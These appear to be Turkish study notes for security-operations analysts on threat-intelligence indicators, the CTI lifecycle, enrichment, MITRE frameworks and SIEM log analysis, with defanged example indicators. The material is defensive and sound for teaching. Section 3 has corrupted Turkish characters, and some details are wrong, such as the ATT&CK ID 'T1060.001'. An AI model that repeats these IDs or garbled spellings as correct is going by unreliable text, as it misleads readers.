Her eser, özel bir zenginleştirme yolu gerektirir. Analistlerin, uyarının hangi tür gösterge sağladığını tanıması ve nereye bakacağını bilmesi önemlidir. | Gösterge | Örnek | İlk Kaynaklar | İlişkili IOA veya TTP Örnekleri || ----- | ----- | ----- | ----- || **IPv4 / IPv6** | 45.155.205.3 | • WHOIS (ASN, tahsis tarihi) • VirusTotal ilişkileri • Shodan banner taraması | IOA: Tekrarlanan SSH başarısızlıkları, TTP: T1110.003 Parola Tahmini || **Alan Adı / FQDN** | malicious-updates.net | • WHOIS yaşı • RiskIQ veya SecurityTrails pasif DNS • urlscan.io | IOA: 24 saatlik bir alan adına yönelik DNS sorgularında ani artış || **URL** | hxxp://malicious-updates.net/login | • URLhaus itibarı • urlscan.io davranış grafiği • Any.Run dinamik çalıştırma | IOA: /gateway.php'ye yük içeren tarayıcı POST işlemi || **Dosya hash'i** | e99a18c428cb38d5... | • VirusTotal statik & dinamik • Hybrid-Analysis • MalShare arşivi | TTP: T1055 regsvr32.exe içine Proses Enjeksiyonu || **E-posta adresi** | billing@evil-corp.com | • MXToolbox başlık analizi • Have I Been Pwned | IOA: SPF hatası artı yeni alan adı kaydı || **Yerel eser** | HKCU\Software\Run\updater.exe | • Sigma kuralları • EDR yaygınlık sorgusu • Satıcı bilgi tabanları | TTP: T1060.001 Kayıt Defteri Çalıştırma Anahtarları |

Bölüm 2: Siber Tehdit İstihbaratı Yaşam Döngüsü

TryHatMe Corp senaryosu, CTI yaşam döngüsünün altı adımını pratik bir örnekle açıklamaktadır. Kuruluş, PostgreSQL veritabanını korumak için CTI'yi entegre etmeyi amaçlamaktadır.

Adım 1: Yönlendirme – Görevin Tanımlanması

Bir L1 analisti olan Alex, CTI lideri ve veritabanı yöneticisiyle birlikte, "CTI'yi entegre etme" genel hedefini ölçülebilir sorulara dönüştürür:

- S1: Şu anda PostgreSQL hizmetlerini istismar etmek veya veritabanı kayıtlarını sızdırmak için hangi harici IP adresleri ve alan adları kullanılıyor?
- S2: Bu hafta PostgreSQL sürücülerini veya kimlik bilgilerini hedef alan hangi kötü amaçlı yazılım aileleri aktif ve dosya hash'leri nelerdir?

Adım 2: Toplama – Ham Materyalin Birleştirilmesi

Alex, bu sorulara yanıt bulmak için çeşitli kaynaklardan veri toplar: | Kaynak | Gerekçe | Toplanan Örnek Eserler || ----- | ----- | ----- || **Ticari besleme** (NGFW satıcısından) | Aynı güvenlik duvarı modellerine özel, yüksek doğruluk | Son 24 saatte veritabanı sızdırma C2'si olarak işaretlenen 37 IPv4 adresi || **Açık kaynak projesi** (*Abuse/PDB*) | Hızlı, topluluk odaklı güncellemeler | *PostgreSQL-brute-force* etiketiyle filtrelenmiş 15 IP adresi, dört alan adı || **MISP** (şirket içi) | Olayların tarihsel görünümü | PgSQL kimlik bilgisi çarplarının 2 SHA-256 hash'i || **Satıcı tehdit raporu** | Stratejik içgöründen teknik IOC'lere | 1 yeni kötü amaçlı yazılım hash'i, 3 C2 alan adı |

Adım 3: İşleme – Verilerin Normalleştirilmesi ve İlişkilendirilmesi

Ham beslemelerdeki veriler standartlaştırılır. Alex'in Python betikleri gösterim biçimlerini normalleştirir (örneğin, alan adlarını küçük harfe çevirir), mevcut göstergelerle karşılaştırarak tekilleştirir ve her girdiyi kaynak ve tarihle etiketler.

Adım 4: Analiz – Bilgiyi Yargıya Dönüştürme

Toplanan istihbaratın kuruluşla ilgisi değerlendirilir. Alex, bir Splunk sorgusuyla NGFW beslemesindeki bir IP'nin üretim ağına erişmeye çalıştığını doğrular. Her gösterge, güvenilirlik seviyesine göre derecelendirilir. | Güvenilirlik | Kaynak Uyumu | Yerel Görülme | Eylem || ----- | ----- | ----- || **Yüksek** | Aynı IOC ≥ 2 kaynakta | ≥ 1 yerel deneme | Anında engelleme || **Orta** | Tek güvenilir kaynak | Yerel isabet yok | Sadece uyarı || **Düşük** | Sadece OSINT | Bağlam yok | 14 gün izleme |

Adım 5: Yayma – İstihbaratın Doğru Tüketicilere Ulaştırılması

Analiz sonuçları, her paydaşın ihtiyacına göre uyarlanmış formatlarda sunulur. | Paydaş | Format | Neden İhtiyaç Duyuyorlar || ----- | ----- | ----- || **Güvenlik duvarı ekibi** | CSV yüklemesi + değişiklik bileti | Engelleme kurallarından sorumlular; bilet riski belgeler || **Uç nokta ekibi** | EDR konsolunda YARA kural seti | Kuralları politikaya yüklemek için || **CTI platformu** | Tam etiketli gösterge nesneleri | Eserlerin geçmişini tutar, gelecekteki ilişkileri destekler || **Yönetim** | Haftalık siber risk notunda 200 kelimelik özet | Sürecin yatırım getirisini gösterir |

Adım 6: Geri Bildirim – Döngünün Ölçülmesi ve İyileştirilmesi

İki hafta sonra, uygulanan kontrollerin etkinliği ölçülür. Başarı metrikleri (KPI'lar), CTI sürecinin etkinliğini gösterir. Örneğin, PostgreSQL kaba kuvvet saldırılarının ortalama bekleme süresi 48 saatten 0'a düşmüştür. Bu başarı, sürecin genişletilmesi için onay alınmasını sağlar.

Bölüm 3: Ağ Tabanlı Göstergelerin Analizi: IP'ler ve Alan Adları

Ağ tabanlı tehdit istihbaratı, modern siber güvenlik savunmasının temel bir yönüdür. IP adresleri ve alan adları, bir SOC analistinin triyaj kuyruğundaki en yaygın göstergelerdir.

DNS Zenginleřtirmesi

Alan Adı Sistemi (DNS), internetin kullanılabilirlięindeki merkezi rolü nedeniyle saldırganlar için popüler bir oyun alanıdır. SOC analistleri için DNS, en zengin erken uyarı veri setlerinden biridir. Bir alan adını zenginleřtirirken en önemli kayıtlar řunlardır:

- **A / AAAA Kayıtları:** Alan adını IPv4 ve IPv6 adreslerine eřler. Sık sık deęiřen A kayıtları řüphe uyandırır.
- **NS Kayıtları:** Alan adını kontrol eden ad sunucularını belirtir. Olaęandışı veya yakın zamanda deęiřtirilmiř NS giriřleri, yeni bir kurulumu iřaret edebilir.
- **MX Kayıtları:** E-postayı hangi sunucuların yöneteceęini tanımlar.
- **TXT Kayıtları:** SPF ve DKIM kurallarını veya doęrulama etiketlerini saklar.
- **SOA Kaydı:** Bölgenin birincil yetkilisini gösterir ve genellikle iletiřim bilgilerini içerir.
- **TTL (Yařam Süresi):** Çözümleyicilere yanıtları ne kadar süreyle önbelleęe alacaklarını söyler. Çok düşük TTL'ler sık deęiřikliklere iřaret edebilir.

DNS Kullanan Saldırı Teknikleri

- **Fast Flux Barındırma:** Saldırganlar, basit engellemelerden kaçınmak için birçok IP'yi kısa önbellek süreleriyle hızla döndürür.
- **CDN Kötüye Kullanımı:** Meřru CDN'ler de IP'leri deęiřtirir, ancak kendi ASN ekosistemleri içinde. A kaydı büyük bir CDN'i gösteriyorsa, itibar ve sahiplik kontrolleri yapılmalıdır.
- **Yazım Hatasıyla Alan Adı İşgali (Typosquatting):** paypa1.com gibi alan adları kullanıcıları görsel olarak aldatır.
- **IDN (Uluslararasılařtırılmıř Alan Adları):** Saldırganlar, Unicode'u kullanarak benzer görünümlü alan adları oluřturur.

IP Zenginleřtirmesi

Bir IP adresi tek başına belirsizdir. **Zenginleřtirme** , bir IP'ye sahiplik, ASN, coęrafi konum ve hizmet baęlamı ekleyerek kararların kanıta dayalı olmasını saęlar.

- **RDAP (Kayıt Veri Eriřim Protokolü):** IP sahiplięi için yetkili kaynaktır. **NetRange** (tahsis edilen adres aralıęı) ve **Kuruluř** (kayıtlı sahip) gibi bilgiler saęlar.
- **Otonom Sistemler (AS):** Tek bir kuruluřun kontrolü altındaki IP önekleri koleksiyonudur. ASN'ye bakmak, bir IP'nin olası rolünü deęerlendirmeye yardımcı olur:
- **Barındırma ASN'leri:** Genellikle řüpheli alan adlarının barındırıldıęı yerler.
- **Konut İnternet Saęlayıcıları (ISP'ler):** Milyonlarca kullanıcıyı kapsayan devasa aralıklar.
- **Bulut/CDN ASN'leri:** Küresel, paylařılan altyapı. Bu aralıkların tamamen engellenmesi büyük yan hasara neden olabilir.

Servis, Sertifika, İtibar ve Geçmiř Analizi

- **Servis Keřfi:** Shodan ve Censys gibi araçlar, bir IP'de açık olan portlar ve çalışan servisler hakkında ayrıntılı bilgi saęlayarak sistemin amacını ve potansiyel risklerini ortaya çıkarır.
- **TLS Sertifika Şeffaflıęı:** crt.sh gibi araçlar, herkese açık olarak güvenilen her sertifikayı günlüęe kaydeder. İncelenecek önemli alanlar řunlardır: **Veren Kuruluř** (örn. Let's Encrypt), **Geçerlilik Süresi** (kısa ömürlü sertifikalar normaldir) ve **Konu Alternatif Adları (SAN'lar)** (sertifikanın kapsadıęı tüm alan adları).

- **İtibar Servisleri:** VirusTotal ve Cisco Talos gibi hizmetler, bir göstergenin tespit oranı, kategorisi ve topluluk notları hakkında bilgi sağlar.
- **Pasif DNS:** Alan adlarının zaman içinde nasıl çözümlendiğine dair tarihsel bir kayıt sunar. **İlk Görülme/Son Görülme** tarihleri, alan adının yeni mi yoksa uzun ömürlü mü olduğunu gösterir.

SOC Analist İş Akışı Özeti

1. **VirusTotal, Cisco Talos ve IP2Proxy'yi kontrol et:** Tespit oranını, itibarı, kategoriyi ve proxy/VPN kullanımını kaydet.
2. **Pasif DNS'i kontrol et:** İlk/son görülme tarihlerini, son 7 gündeki IP sayısını ve ASN dağılımını kaydet.
3. **Shodan/Censys'i kontrol et:** Açıkta kalan servisleri ve olası yanlış yapılandırmaları belirle.
4. **TLS sertifikalarını incele:** Veren kuruluşu, SAN'ları ve geçerlilik süresini kaydet. Şüpheli kalıpları (örneğin, marka taklitleri) ara.
5. **CT Günlükleri ve Wayback Machine'i çapraz kontrol et:** Sertifika oluşturma yoğunluğunu ve içerik değişikliklerini (örneğin, zararsızdan olumsuz sitesine dönüşüm) belirle.
6. **Karar ver:** Gözlemlenen aktiviteye bağlı olarak engelle, izle veya kapat.

Bölüm 4: Dosya Tabanlı Göstergelerin Analizi: Dosyalar ve Hash'ler

Güvenlik Operasyonları ekipleri için temel iş akışı üç adımdan oluşur: **doğrula** , **zenginleştir** ve **karar ver** . Dosya ve hash istihbaratı, zenginleştirme aşamasında kritik bir rol oynar.

Statik Analiz

Dosya Yolu Analizi

Dosya yolları ve adları, saldırgan davranışları hakkında ipuçları verir. Saldırganlar eylemlerini gizlemek için belirli disk konumlarını kullanabilirler:

- C:\Users\Public: Kullanıcılar arası erişim sağlamak için.
- C:\Users\Public\Public Downloads: Sıkı izlemeden kaçınmak için yüksek trafikli bir dizin.
- C:\Windows\Temp: Geçici yükler için.
- C:\ProgramData: Gizli kalıcılık için yazılabilir sistem yolları.

Dosya Adı Sezgisel Göstergeleri

Saldırganlar, tespitten kaçmak için dosya adlarını değiştirirler:

- **Çift uzantı:** invoice.pdf.exe gibi, Windows'un varsayılan olarak dosya uzantılarını gizlemesinden yararlanır.
- **Sistem ikili dosyası taklidi:** scvhost.exe gibi, kullanıcının temel sistem süreçlerine olan aşinalığını kötüye kullanır.
- **Yüksek entropili dizeler:** jh8F21.exe gibi, otomatik paketleme veya polimorfik üretimi düşündürür.
- **Maskeleye:** backup-2300.exe gibi, rutin dosyalarla karışarak şüpheliyi azaltır.

Kriptografik Hash'lerin Rolü

Dosya adları sürekli değişse de, bir dosyanın **SHA256** veya **MD5** gibi kriptografik hash'i değişmez. Hash'ler, dosya adından bağımsız olarak kötü amaçlı yazılımları kesin olarak tanımlamak için değişmez ve eyleme geçirilebilir bir yol sağlar.

Dinamik Analiz ve Sandbox Kullanımı

Bir dosyanın kimliğini anlamak için statik özellikler yeterlidir, ancak etkisini anlamak için onu güvenli, kontrollü bir ortamda yürütmek gerekir. **Sandbox'lar**, kötü amaçlı yazılımla ilişkili her işlemi, kayıt defteri yazmasını ve ağ paketini yakalamak için donatılmış tek kullanımlık sanal makineler sağlar. Güvenlik analistleri sandbox'ları şu üç amaçla kullanır:

1. **Yürütmeyi onayla:** Hiçbir şey olmazsa, uyarı bir yem olabilir.
2. **Çalışma zamanı IOC'lerini çıkar:** Alan adları, mutex'ler, bırakılan yükler gibi avcılık ve tespit için veri sağlar.
3. **ATT&CK ile eşleştir:** Çoğu sandbox, davranışı otomatik olarak teknik kimliklerle etiketleyerek raporlamayı hızlandırır.

Sandbox Araçları ve Sınırlamaları

1. **Araçlar:** **Hybrid Analysis** (davranış ağaçları ve MITRE ATT&CK ısı haritası ile hızlı özetler için uygun) ve **Joe Sandbox** (sistem çağrıları, dizeler ve bellek dökümleri ile derinlemesine analiz için).
2. **Sınırlamalar:**
3. **Sandbox'tan Kaçınma Teknikleri:** Kötü amaçlı yazılımlar sanallaştırılmış ortamları algılayıp normal davranarak yanlış negatiflere yol açabilir.
4. **Sınırlı Yürütme Süresi:** Çoğu sandbox analizi 2-5 dakika sonra sonlandırır, bu da çok aşamalı veya zaman gecikmeli saldırıların tam olarak yürütülmesini engelleyebilir.
5. **Şifreli ve Gizlenmiş Trafik:** Birçok sandbox, SSL/TLS trafiğinin şifresini çözemez, bu da C2 iletişiminin görünmez kalmasına neden olabilir.
6. **Dosyasız ve "Living-off-the-Land" (LotL) Kötü Amaçlı Yazılımları:** Bazı tehditler diske hiç dokunmaz, PowerShell saldırıları ve WMI kalıcılığı gibi yöntemlerle geleneksel sandbox analizini atlar.

Bölüm 5: Temel Çerçeveler ve Standartlar

MITRE ATT&CK ve D3FEND

- **MITRE ATT&CK:** Düşman davranışları hakkında bilgi sağlayan bir bilgi tabanıdır. T1059.001 PowerShell gibi her teknik, satıcılar, ekip arkadaşları ve denetçiler arasında ortak bir dil görevi görür. Bir L1 analisti, bir uyarıdaki davranışı bir ATT&CK tekniğiyle eşleştirerek olayı daha üst seviyelere hızlı ve net bir şekilde iletebilir.
- **MITRE D3FEND:** ATT&CK'in savunma tarafındaki karşılığıdır. Savunucuların nasıl yanıt verdiğini kataloglar. Bir saldırı tekniği (örneğin, T1048.003 DNS tüneli) tespit edildiğinde, D3FEND ilgili savunma tekniğini (D3—NTDN DNS—istek analizi) ve pratik kontrolleri listeler.

Siber Ölüm Zinciri (Cyber Kill Chain)

Lockheed Martin tarafından geliştirilen bu model, bir saldırının aşamalarını ayırır. Bu, analistlerin bir saldırıyı araştırırken hangi aşama faaliyetlerinin gerçekleştiğini belirlemesine

yardımcı olur. | Aşama | Amaç | Örnekler || ----- | ----- | ----- || **Keşif** | Kurban ve saldırı taktikleri hakkında bilgi toplama. | E-posta toplama, OSINT, ağ taramaları || **Silahlanma** | Kötü amaçlı yazılımın saldırının ihtiyaçlarına göre tasarlanması. | Arka kapılı bir istismar, kötü amaçlı Office belgesi || **Teslimat** | Kötü amaçlı yazılımın kurbanın sistemine nasıl ulaştırılacağı. | E-posta, web bağlantıları, USB || **Sömürü** | Kod çalıştırmak ve kalıcılık sağlamak için sistem güvenlik açıklarından yararlanma. | EternalBlue, Zero-Logon || **Kurulum** | Kurbanın sistemine erişim sağlamak için kötü amaçlı yazılım yükleme. | Parola dökümü, arka kapılar, uzaktan erişim truva atları || **Komuta & Kontrol** | Ele geçirilen sistemi uzaktan kontrol etme, ek kötü amaçlı yazılım dağıtma. | Empire, Cobalt Strike || **Hedefler Üzerinde Eylemler** | Saldırının amaçlarını gerçekleştirme: finansal kazanç, veri sızdırma vb. | Veri şifreleme, fidye yazılımı |

Zafiyet Yönetimi ve Paylaşım Standartları

- **CVE (Common Vulnerabilities and Exposures):** Keşfedilen güvenlik açıklarına bir katalog numarası sağlar.
- **CVSS (Common Vulnerability Scoring System):** Güvenlik açıklarına 0-10 arası bir ciddiyet ölçeği atar.
- **NVD (National Vulnerability Database):** CVE numaralarını CVSS puanları, istismarlar ve etkilenen ürünlerle ilişkilendiren merkezi depodur.
- **STIX ve TAXII:**
- **STIX:** Tehdit bilgilerini tanımlamak için yapılandırılmış bir JSON şemasıdır.
- **TAXII:** Tehdit istihbaratını neredeyse gerçek zamanlı olarak değiş tokuş etmek için kullanılan bir dizi güvenli API'dir. Bu standartlar, kuruluşların istihbaratı verimli bir şekilde paylaşarak kolektif savunmayı güçlendirmesini sağlar.

SIEM ile Log Analizi: Temel Kavramlar ve Stratejiler

Yönetici Özeti

Bu brifing belgesi, Güvenlik Operasyonları Merkezlerinin (SOC) temel taşı olan SIEM (Güvenlik Bilgileri ve Olay Yönetimi) çözümlerinin rolünü ve etkinliğini incelemektedir. SIEM, log verilerini **merkezileştirme**, ayrı olaylar arasında **korelasyon** kurma ve **geçmiş olayları** analiz etme gibi temel yetenekleriyle SOC analistlerinin verimliliğini artırır. Ağ cihazları, sunucular, bulut servisleri ve uygulamalar gibi çeşitli kaynaklardan gelen logları tek bir platformda toplayarak, araştırmalar sırasında sistemler arasında geçiş yapma ihtiyacını ortadan kaldırır. Farklı saat dilimleri ve log formatları gibi zorlukların üstesinden gelmek için zaman ve veri **normalizasyonu** kritik öneme sahiptir. Belge, Windows (WinEventLogs, Sysmon), Linux (auth.log, syslog) ve Web Uygulamaları (access logs, error logs) gibi temel sistemlerden gelen logların analizine yönelik özel stratejileri detaylandırarak, analistlerin kötü amaçlı faaliyetleri, yetki yükseltme girişimlerini ve diğer siber tehditleri tespit etmelerine olanak tanıyan temel veri kaynaklarını ve yöntemlerini ortaya koymaktadır.

SIEM'in Temel Faydaları

SIEM çözümleri, bir Güvenlik Operasyonları Merkezi (SOC) analistinin günlük iş akışında merkezi bir rol oynar. Bu araçların değeri, analiz süreçlerini önemli ölçüde geliştiren temel yeteneklerinden kaynaklanmaktadır.

Merkezileştirme

SIEM'in en temel faydalarından biri **merkezileştirmedir**. Bir analistin ağ cihazları, bulut hizmetleri, kimlik sağlayıcılar ve daha fazlası gibi farklı yerlerdeki logları kontrol etmek yerine, SIEM tüm bu verileri tek bir yerde toplar. Bu, bir araştırma sırasında analistin sistemler arasında geçiş yapma zorunluluğunu ortadan kaldırır. Her şeyin tek bir çözümde mevcut olması, iş akışını çok daha sorunsuz ve verimli hale getirir.

Korelasyon

SIEM'in bir diğer temel gücü, ayrı olayları birbirine bağlayarak ve bir bulmacanın parçaları gibi birleştirerek tam bir resim oluşturma yeteneği olan **korelasyondur**. Örneğin, bir SIEM'de dahili ağ keşif etkinliği hakkında bir uyarı alındığını düşünelim. Eldeki tek bilgi, taramayı gerçekleştiren ana bilgisayarın IP adresidir. Bu uyarı, Saldırı Tespit Sistemi (IDS) loglarından gelmektedir. Bu bilgi tek başına yeterli değildir. Anlamlı bir sonuca ulaşmak için veriyi zenginleştirmek, IP adresinin hangi cihaza ait olduğunu ve bu etkinliği kimin başlattığını bulmak gerekir. Korelasyon, bu farklı veri noktalarını birleştirerek analistin olayı bütünsel olarak anlamasını sağlar.

Geçmiş Olaylar

SIEM, sadece mevcut faaliyetleri değil, aynı zamanda geçmiş olayları da inceleme imkanı sunar. Bu, daha önce başlamış ancak o sırada fark edilmemiş olabilecek kalıpları veya tehditleri tespit etmeye yardımcı olur. Örneğin, bir kullanıcı için olağandışı bir oturum açma konumu hakkında bir uyarı alındığında, analist geçmiş loglara bakarak bu kullanıcının daha önce bu konumdan veya IP'den oturum açıp açmadığını kontrol edebilir. Bu, kullanıcının

davranış kalıplarını belirlemeye ve etkinliğin kötü amaçlı bir girişim mi yoksa meşru bir eylem mi olduğunu değerlendirmeye yardımcı olur.

SIEM'deki Temel Zorluklar

Analistlerin SIEM'de çalışırken karşılaştığı bazı yaygın zorluklar, verinin doğası ve işlenmesiyle ilgilidir.

Zaman Dilimi Sorunları

Farklı log kaynaklarından gelen verilerde zamanın nasıl kaydedildiği önemli bir zorluktur. Loglar farklı saat dilimlerindeki sistemlerden gelebilir; bazıları UTC, bazıları yerel saat diliminde olabilir ve bazıları ise hiçbir saat dilimi bilgisi içermeyebilir. Analistin yerel saati ile SIEM'de ayarlanan saatin farklı olabileceğini anlamak önemlidir. Örneğin, bir analist UTC-2 saat diliminde çalışırken Splunk SIEM'deki loglar UTC+2'ye normalleştirilmiş olabilir. Analist için saat 17:00 iken, aynı loglar Splunk'ta 13:00 olarak görünebilir. Bu, logların dört saat geç alındığı anlamına gelmez; sadece zaman ayarlarındaki bir farktır. Olayları analiz ederken hangi saat dilimleriyle çalışıldığının farkında olmak, neyin ne zaman gerçekleştiğini doğru anlamak için kritik bir fark yaratabilir.

Log Normalizasyonu

Farklı loglar JSON, XML veya düz metin gibi çeşitli formatlarda gelir. Her sistem, olayları kendi yöntemine göre, farklı alan adları ve yapılar kullanarak kaydeder. **Normalizasyon**, tüm bu farklı formatları tek ve tutarlı bir yapıya dönüştürme işlemidir. Bu sayede loglarla çalışmak kolaylaşır. Analistler, her şeyi SIEM içinde standart bir şekilde görüntüleyebilir, bu da olayları arama, filtreleme ve ilişkilendirmeyi çok daha basit hale getirir. Normalizasyon olmadan, her log kaynağı tamamen farklı bir bulmacayı çözmek gibi olurdu.

Log Kaynak Türleri

SIEM'e gönderilen veriler, kaynağına göre çeşitli kategorilere ayrılır. | Kaynak Türü | Açıklama | Örnekler || ----- | ----- | ----- || **Ana Bilgisayar Tabanlı** | Organizasyon içindeki iş istasyonları ve sunucular gibi bireysel cihazlardan gelir. | Web sunucuları, SQL sunucuları, DNS sunucuları, çalışan bilgisayarları. || **Ağ Tabanlı** | Güvenlik duvarları, yönlendiriciler, IDS/IPS gibi ağ cihazlarından veri toplar. Ağ genelindeki trafiği ve bağlantıları izler. | Güvenlik duvarları, yönlendiriciler, IDS (Saldırı Tespit Sistemi), IPS (Saldırı Önleme Sistemi). || **Web Tabanlı** | Kuruluşların kendi web uygulamalarından gelen loglardır. Saldırganların erişim elde etmek için kullandığı birincil yollardan biridir. | Apache, Nginx gibi web sunucularından gelen erişim ve hata logları. |

Detaylı Log Analizi

Farklı sistem türleri, siber güvenlik analizi için benzersiz ve değerli loglar üretir.

Windows Logları

Windows loglarını bir SIEM'de analiz ederken genellikle iki ana veri kaynağı kullanılır: **WinEventLogs** ve **Sysmon**. Sysmon'un log almaya başlaması için ayrıca kurulması ve yapılandırılması gerekir. Bu iki veri kaynağının birleştirilmesi, sistemdeki etkinliklerin net bir şekilde görülmesini sağlar.

- **WinEventLogs:** Windows Olay Logları, çok sayıda benzersiz log dosyası içerir. En bilinenleri Güvenlik (Security), Sistem (System) ve Uygulama (Application) logları olsa da, sistemde bu üçünün ötesinde 200'den fazla farklı log kanalı bulunur.
- **Güvenlik Logları (Security Logs):** Analiz için en sık başvurulanan loglardır. Kullanıcı kimlik doğrulama denemeleri, hesap oluşturma veya değiştirme, dosya ve kayıt defteri anahtarlarına erişim, süreç yürütme, sistem yeniden başlatmaları veya log temizleme ve denetim veya güvenlik politikalarındaki değişiklikler gibi etkinlikleri tespit etmek için kullanılırlar.
- **Sistem Logları (System Logs):** İşletim sistemi ve temel hizmetleri tarafından oluşturulan olayları kaydeder. Hizmetlerle ilgili çeşitli olayları, sistem düzeyindeki etkinlikleri ve potansiyel hataları tespit etmeye yardımcı olur. Bu loglar, hizmetler aracılığıyla gerçekleştirilen potansiyel kalıcılık veya yetki yükseltme girişimlerini aramak için mükemmel bir yerdir.
- **Sysmon:** Windows'ta ek ve bazı durumlarda birincil log kaynağıdır. Çok çeşitli etkinlik türlerini kaydeden ve analiz sırasında yüksek düzeyde görünürlük sağlayan son derece güçlü bir araçtır. Sysmon logları kullanılarak, analistler kötü amaçlı süreç yürütme, ağ bağlantıları, olası süreç enjeksiyonu, kayıt defteri değişiklikleri ve dosya oluşturma gibi etkinlikleri gözlemleyebilir.

Linux Logları

Linux sistemlerini bir SIEM'de analiz ederken genellikle iki temel log kaynağına odaklanılır.

- **Kimlik Doğrulama Logları (auth.log):** Kullanıcı oturum açma ve sudo kullanımı gibi kimlik doğrulamayla ilgili etkinlikleri izler. Başarısız oturum açma denemelerini, yetkisiz erişim girişimlerini veya yetki yükseltmeyi tespit etmek için kritik öneme sahiptir. Bu loglar, kullanıcıların sistemle nasıl etkileşimde bulunduğunu, özellikle oturum açma denemeleri ve ayrıcalık kullanımı konusunda anlamaya yardımcı olur.
- **Sistem Logları (syslog):** Genel sistem düzeyindeki olayları yakalar. Hizmet yeniden başlatmaları, cron işleri ve arka plan süreçleri gibi olayları izlemek için kullanılır. Bu loglar, olayların zaman çizelgesini oluştururken veya sistemin zaman içindeki davranışını anlarken faydalıdır. Genellikle kalıcılık veya yetki yükseltme girişimleriyle bağlantılı olağandışı sistem davranışlarını belirlemek için de önemlidir.

Web Uygulama Logları

Neredeyse her kuruluşun kendi web sitesi ve dolayısıyla onu çalıştıran bir web sunucusu vardır. Bu web sunucularından (Apache, Nginx vb.) toplanan loglar, siber saldırıları tespit etmek için hayati bilgiler içerir.

- **Erişim Logları (Access Logs):** Analiz için en faydalı loglardır. Web sitesi kaynaklarına yapılan istekleri içerirler. Bu loglar genellikle tarama, DDoS girişimleri, çeşitli web tabanlı saldırılar ve web kabukları gibi kötü amaçlı faaliyetlerin izlerini barındırır.
- **Hata Logları (Error Logs):** Olası arızaları veya sorunları anlamaya yardımcı olarak değerli bilgiler sağlayabilirler.